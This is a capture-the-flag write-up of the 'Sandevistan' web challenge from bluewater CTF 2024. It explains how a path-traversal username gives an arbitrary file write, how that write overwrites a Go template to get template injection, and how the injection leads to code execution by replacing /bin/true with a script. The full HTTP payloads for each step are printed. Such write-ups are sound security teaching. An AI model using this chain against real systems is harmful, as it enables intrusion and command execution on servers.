Sandevistan

- 6 mins read

Challenge files

Context

It was a day or two after the European Cybersecurity Competition (ECSC) had just finished. Most good and active players across all top teams were busy spending their last hours in Turin or were already traveling back home. This also meant only a handful of teams and players were be playing bluewater CTF 2024 which motivated us to also play as Organizers and get collect some CTFTime points.

The Challenge

Sandevistan (reference to Cyberpunk 2077) opens to this cool cyberpunk aesthetic landing page. Landing page

The backend is written in Go and uses its builtin templating library html/template. My initial idea was that this must be an SSTI challenge so I started searching for possible vectors of input.

There are basically two possible routes available for interaction: /user and /cyberware, both accepting GET and POST methods.

When creating the user you only need to specify the username, which gets checked with this function to verify that it only contains alphanumeric symbols.

func AlphaNumCheck(ctx context.Context, t string) *models.UserError {
	if !regexp.MustCompile(`^[a-zA-Z0-9]*$`).MatchString(t) {
		fmt.Println("ERROR! Invalid Value:", t)
		v := fmt.Sprintf("ERROR! Invalid Value: %s\n", t)
		username := ctx.Value("username")
		regexErr := ErrorFactory(ctx, v, username.(string))
		return regexErr
	}
	return nil
}

However, successfully creating a user doesn’t really give you anything, because there is no session being tracked.

Through the cyberware endpoint it is possible to creating ‘cyberwares’ that are stored in a SQLite database. To create one you have to provide a username and a name for the item. In theory the cyberware name is checked using the same AlphaNumCheck function but the way it gets used in making a cyberware object is strange and suspicious (name[len(name)-1]). The reason why it’s using indexing is because r.PostForm["name"] return an array.

func checkForm(r *http.Request) *models.UserError {
	
	...

	ctx = context.WithValue(ctx, "username", username[len(username)-1])
	cwName, exists := r.Form["name"]

	...

	ue = utils.AlphaNumCheck(ctx, cwName[0])
	
	...

	return ue
}

func (s *Server) cwHandlePost(w http.ResponseWriter, r *http.Request) {
	...

	ue := checkForm(r)

	user, uerr := s.GetUser(username[len(username)-1])
	
	...

	if ue != nil {
		user.AddError(ue)
		return
	}
	name := r.PostForm["name"]

	cw := models.CyberWare{
		Name:        name[len(name)-1],
		BaseQuality: rand.IntN(10),
		Capacity:    rand.IntN(10),
		Iconic:      false,
		Username:    username[len(username)-1],
	}
	_, cerr := db.InsertCyberware(s.dbClient, cw)
	
	...
}

The Red Herring

This suspicious way of selecting the cyberware name from an array drew my attention and focusing on it made me realize that the index used to select the name value is not the same when checking that it only contains alphanumeric values and when the values is being added to the database. If we make a POST request with multiple name values, only the first is validated and the last one is written into the database.

POST /cyberware HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=asdf&name=benignName&name={{.}}

This I thought would lead to a working SSTI and consequently the flag. I could see the item with my payload was being added to the SQLite database, however, when trying to view the item using GET /cyberware?cyberware=<cyberware-name> I could only see the cyberware object having default values and not the values actually present in the database.

Database view

Thinking this was a fault of my queries or payload made me spend a good amount of time debugging this and trying to understand where I went wrong. Finally, I had to conclude that this bug can’t be a fault me as it also exists in the remote. The multiple solves also meant that this is a dead end and the vulnerability must lie somewhere else.

Note: The challenge author confirmed afterwards that this bug was unintended as the challenge was rushed out and not much playtested.

Arbitrary File Write

A teammate noticed that the username is used to save the error log of the user if the name of the cyberware contains non-alphanumeric characters. Furthermore, the username is not checked when creating a cyberware and is directly used as the errorlog filepath through concatenation.

func ErrorFactory(ctx context.Context, v string, f string) *models.UserError {
    filename := "errorlog/" + f
    UErr := &models.UserError{
        v,
        f,
        ctx,
    }
    file, _ := os.OpenFile(filename, os.O_RDWR|os.O_CREATE, 0644)
    defer file.Close()

    file.WriteString(v)
    return UErr
}

This writes the string "ERROR! Invalid Value: " along with the name of the offending cyberware to the first line of the target file. And since we had no restrictions on the filename variable we could (over)write anywhere in the filesystem.

SSTI

Having the ability to write anywhere in the file system we could come back to idea of achieving SSTI. Go’s official documentation for html/template says that:

The security model used by this package assumes that template authors are trusted, while Execute’s data parameter is not.

Since we could now write to the template files directly and then have those be rendered, executing template codes that we give it.

Using {{ . }} as the cyberware name we overwrote the tmpl/user.html template and then visiting /user we managed to render the current (User) object. This meant we could also call any of that object’s functions.

RCE

Looking at the functions at our disposal we noticed that there is a function that calls a local binary as a health check.

func (u *User) UserHealthcheck() ([]byte, error) {
	cmd := exec.Command("/bin/true")
	output, err := cmd.CombinedOutput()
	if err != nil {
		return nil, errors.New("error in healthcheck")
		panic(err)
	}
	return output, nil
}

This gave us the idea to overwrite that file with a shebang and have it execute bash script. Problem was that whatever we overwrote a file it would only overwrite the first line of that file and our payload would be preceded by "ERROR! Invalid Value:" which mitigates the use of the shebang. However there were two function at our control that could let us write an arbitrary string at our specified offset into a file of our liking. Luckily we could also use new line characters in our payload.

First we needed to create a new Error object with an arbitrary string:

func (u *User) NewError(val string, fname string) *UserError {
	ctx := context.Background()
	ue := &UserError{
		Value:    val,
		Filename: fname,
		Ctx:      ctx,
	}
	u.Errors = append(u.Errors, ue)
	return ue
}

And then we needed use the SerializeErrors function to write the content of that error to our specified file.

func (u *User) SerializeErrors(data string, index int, offset int64) error {
	fname := u.Errors[index]

	...

	f, err := os.OpenFile(fname.Filename, os.O_RDWR, 0)
	
	...

	_, ferr := f.WriteAt([]byte(data), offset)
	
	...

	return nil
}

Final Execution Chain

We first created an arbitrary user.

POST /user HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=exp

And then we used the /cyberware endpoint to write to the tmpl/user.html template three consecutive template commands.

POST /cyberware HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=../tmpl/user.html&name={{.NewError+"-"+"/bin/true"}}{{.SerializeErrors+"#!/usr/bin/bash\n+/readflag\nexit\n"+0+0}}{{.UserHealthcheck}}

The first create a new Error with the string path pointing to /bin/true. The second template command selects the error we just created and write to the file it’s pointing to at offset 0 our bash payload

#!/usr/bin/bash
./readflag
exit

And the final template command executes /bin/true which we had just written to.

After this request we just needed to make a request to /user with our user to make the backend render and execute our payload. This nicely gave us the flag.

Final thoughts

In my opinion this was a fun and interesting, and with the unintentionally broken or missing functionality (there was no navigation, buttons or input fields on the site so you needed to craft all requests and interactions based on the source) it lived up to the state of the Cyberpunk game when it too was first launched - a buggy mess.

There were 32 teams that solved this in the end and Organizers managed to come out on top.